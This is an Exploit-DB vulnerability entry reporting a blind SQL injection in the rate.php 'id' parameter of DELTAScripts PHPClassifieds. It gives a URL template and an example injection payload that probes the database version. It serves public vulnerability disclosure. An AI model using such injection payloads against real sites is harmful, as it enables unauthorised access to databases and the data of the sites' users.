DELTAScripts PHPClassifieds rate.php Blind SQL Injection

2010-01-08T00:00:00
ID EDB-ID:11071
Type exploitdb
Reporter Hamza 'MizoZ' N.
Modified 2010-01-08T00:00:00

Description

DELTAScripts PHPClassifieds (rate.php) Blind SQL Injection. Webapps exploit for php platform

                                        
                                            /*

Name : DELTAScripts PHPClassifieds
Vuln : Blind SQL Injection

Author : Hamza 'MizoZ' N.
Email : mizozx[at]gmail[dot]com
WebSite : www.greymen.org<http://www.greymen.org>

Greetz : Zuka, all friends & arab hackers

*/

Vulnerability is in the rate.php , $_GET['id']

[HOST]/[PATH]/rate.php?id=[true value]+[INJECTION]

exemples :
http://server/rate.php?id=405+and+%28select%20version%28%29%29=5--